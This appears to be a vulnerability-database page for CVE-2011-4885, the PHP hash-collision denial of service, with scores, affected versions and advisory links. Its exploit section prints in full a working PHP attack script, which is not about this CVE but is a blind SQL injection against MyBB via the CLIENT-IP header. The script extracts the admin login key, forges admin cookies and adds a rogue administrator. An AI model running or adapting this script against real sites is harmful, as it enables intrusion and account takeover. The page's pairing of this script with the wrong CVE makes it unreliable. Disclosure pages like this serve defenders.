CVE-2011-4885 : Detail

CVE-2011-4885

A03-Injection
87.47%V3
Network
2011-12-30 00:00 +00:00
2018-01-08 19:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

PHP before 5.3.9 computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metric Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 18296

Publication date : 2011-12-31 23:00 +00:00
Author : infodox
EDB Verified : No

# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit # Date: 1/1/12 # Author: infodox # Software Link: php.net # Version: 5.3.* # Tested on: Linux # CVE : CVE-2011-4885 Exploit Download -- http://infodox.co.cc/Downloads/phpdos.txt
Exploit Database EDB-ID : 2012

Publication date : 2006-07-14 22:00 +00:00
Author : rgod
EDB Verified : Yes

#!/usr/bin/php -q -d short_open_tag=on ipaddress = $ipaddress = getip(); // // User-agent // $this->useragent = $_SERVER['HTTP_USER_AGENT']; if(strlen($this->useragent) > 100) { $this->useragent = substr($this->useragent, 0, 100); } // // Attempt to find a session id in the cookies // if($_COOKIE['sid']) { $this->sid = addslashes($_COOKIE['sid']); } else { $this->sid = 0; } // // Attempt to load the session from the database // $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'"); ... injection is blind, but you can ask true-false questions to the database to retrieve the admin loginkey. Through that you can build an admin cookie and create a new admin user through the admin/users.php script. Also you can disclose table prefix. -------------------------------------------------------------------------------- -*****************************************************************************- * * * Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto * * grazie Grosso! * * * -*****************************************************************************- */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $anumber = rand(1,99999); $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="mybb_"; $user_id="1";//admin $proxy=""; $dt=0; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-u") { $user_id=str_replace("-u","",$argv[$i]); } if ($temp=="-d") { $dt=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($dt) { $sql="'suntzuuuu/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("You have an error in your SQL syntax",$html)) { $temp=explode("sessions",$html); $temp2=explode(" ",$temp[0]); $prefix=$temp2[count($temp2)-1]; echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n"; } else { echo "unable to disclose table prefix...\n"; } sleep(1); } $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(65,90));//A-Z letters $chars=array_merge($chars,range(97,122));//a-f letters $j=1; $loginkey=""; while (!strstr($loginkey,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";"; echo "admin cookie -> ".$cookie."\r\n"; $data='-----------------------------7d62702f250530 Content-Disposition: form-data; name="action"; do_add -----------------------------7d62702f250530 Content-Disposition: form-data; name="userusername"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="newpassword"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="email"; suntzoi@suntzu.org -----------------------------7d62702f250530 Content-Disposition: form-data; name="usergroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="additionalgroups[]"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="displaygroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="Add User"; Add User -----------------------------7d62702f250530-- '; $packet="POST ".$p."admin/users.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("The user has successfully been added",$html)) { echo "exploit succeeded... now login as admin\n"; echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n"; } else { echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n"; } ?> # milw0rm.com [2006-07-15]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.8

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

Php>>Php >> Version 5.2.5

Php>>Php >> Version 5.2.6

Php>>Php >> Version 5.2.7

Php>>Php >> Version 5.2.8

Php>>Php >> Version 5.2.9

Php>>Php >> Version 5.2.10

Php>>Php >> Version 5.2.11

Php>>Php >> Version 5.2.12

Php>>Php >> Version 5.2.14

Php>>Php >> Version 5.2.15

Php>>Php >> Version 5.2.16

Php>>Php >> Version 5.2.17

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

References

http://www.securitytracker.com/id?1026473
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/47404
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=133469208622507&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.exploit-db.com/exploits/18296
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.debian.org/security/2012/dsa-2399
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:197
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.exploit-db.com/exploits/18305
Tags : exploit, x_refsource_EXPLOIT-DB
http://marc.info/?l=bugtraq&m=133469208622507&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48668
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2012-0019.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/51193
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/903934
Tags : third-party-advisory, x_refsource_CERT-VN
http://rhn.redhat.com/errata/RHSA-2012-0071.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=132871655717248&w=2
Tags : vendor-advisory, x_refsource_HP
http://support.apple.com/kb/HT5281
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=132871655717248&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.